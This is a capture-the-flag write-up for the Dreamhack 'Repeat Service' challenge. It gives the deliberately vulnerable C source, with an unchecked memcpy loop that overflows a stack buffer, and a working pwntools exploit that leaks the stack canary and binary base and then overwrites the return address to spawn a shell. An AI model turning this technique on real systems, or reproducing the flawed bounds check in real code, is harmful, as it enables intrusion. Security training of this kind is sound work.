pwn - 1149 - Repeat Service

Repeat Service is a convenient service that allows you to enter a string and output it over and over again. If there's a phrase you want to repeat, try it once! If you keep printing the string, you might be able to get a flag...?

Vulnerability: stack buffer overflow - improper dest check in memcpy()

December 23, 2025 December 18, 2025 Easy

Recon

Mitigation

Code

// gcc -o main main.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void win() {
	system("/bin/sh");
}

int main() {
	initialize();

	char inp[80] = {0};
	char buf[1000] = {0};

	puts("Welcome to the Repeat Service!");
	puts("Please put your string and length.");

	while (1) {
		printf("Pattern: ");
		int len = read(STDIN_FILENO, inp, 80);
		if (len == 0)
			break;
		if (inp[len - 1] == '\n') {
			inp[len - 1] = 0;
			len--;
		}

		int target_len = 0;
		printf("Target length: ");
		scanf("%d", &target_len);

		if (target_len > 1000) {
			puts("Too long :(");
			break;
		}

		int count = 0;
		while (count < target_len) {
			memcpy(buf + count, inp, len);
			count += len;
		}

		printf("%s\n", buf);
	}
	return 0;
}

Solve

Nhập vào pattern size sao cho dư size khi check dẫn đến buffer overflow -> leak canary -> leak binary base -> return address overwrite.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("main_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")

context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

pa = lambda text, addr: print(text, hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "host8.dreamhack.games"
        port = 8495
        return remote(host, port)

p = conn()

def inp(pattern, length):
    sla(p, b'Pattern', pattern)
    slan(p, b'length', length)

inp(b'A' * 77, 1000)

ru(p, b'A' * 1001)

canary = leak_bytes(b'\0' + rn(p, 7))
pa("canary", canary)

inp(b'A' * 43, 1000)

ru(p, b'A' * 1032)

exe.address = leak_bytes(rn(p, 6), 0x128a)
pa("binary", exe.address)

inp(flat(
    canary,
    0,
    exe.address + 0x0000000000001191, # nop
    exe.symbols['win']
).rjust(43, b'A'), 1000)

inp(b'A', 1024)

ia(p)